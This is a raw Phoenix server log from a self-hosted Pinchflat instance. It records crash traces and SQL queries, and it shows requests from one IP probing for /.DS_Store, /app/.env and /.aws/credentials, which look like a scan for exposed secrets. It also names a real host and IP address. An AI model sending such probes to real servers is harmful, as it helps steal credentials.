"x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138968.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "de-DE,de;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.DS_Store", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxGiem48tcuIAAHkj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch- (truncated) 04:52:47.776 [info] GET /app/.env 04:52:47.777 [info] GET /.aws/credentials 04:52:47.778 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=74.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:47.779 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=74.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:47.779 [debug] QUERY OK source="settings" db=0.8ms idle=54.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:47.779 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:47.780 [debug] QUERY OK source="settings" db=0.3ms idle=50.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:47.780 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:47.780 [error] #PID<0.138969.0> running PinchflatWeb.Endpoint (connection #PID<0.138956.0>, stream id 7) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /app/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138969.0>, params: %{}, path_info: ["app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "de-DE,de;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxGt7prBB9yMAAHlD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", " (truncated) 04:52:47.781 [error] #PID<0.138970.0> running PinchflatWeb.Endpoint (connection #PID<0.138955.0>, stream id 7) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138970.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "de-DE,de;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxGuItsuPBuUADCcC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => (truncated) 04:52:48.667 [info] GET /sources 04:52:48.667 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 04:52:48.668 [debug] QUERY OK source="settings" db=0.5ms idle=938.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:48.669 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=890.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:48.671 [debug] QUERY OK source="settings" db=0.5ms idle=891.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:48.671 [debug] QUERY OK source="settings" db=0.0ms idle=892.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:48.672 [debug] QUERY OK source="settings" db=0.0ms idle=891.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:48.674 [debug] QUERY OK source="sources" db=2.0ms idle=3.7ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 04:52:48.677 [debug] QUERY OK source="sources" db=2.6ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 04:52:48.679 [info] Sent 200 in 12ms 04:52:48.845 [info] GET /settings 04:52:48.845 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 04:52:48.847 [debug] QUERY OK source="settings" db=0.4ms idle=174.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:48.847 [debug] QUERY OK source="settings" db=0.3ms idle=175.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 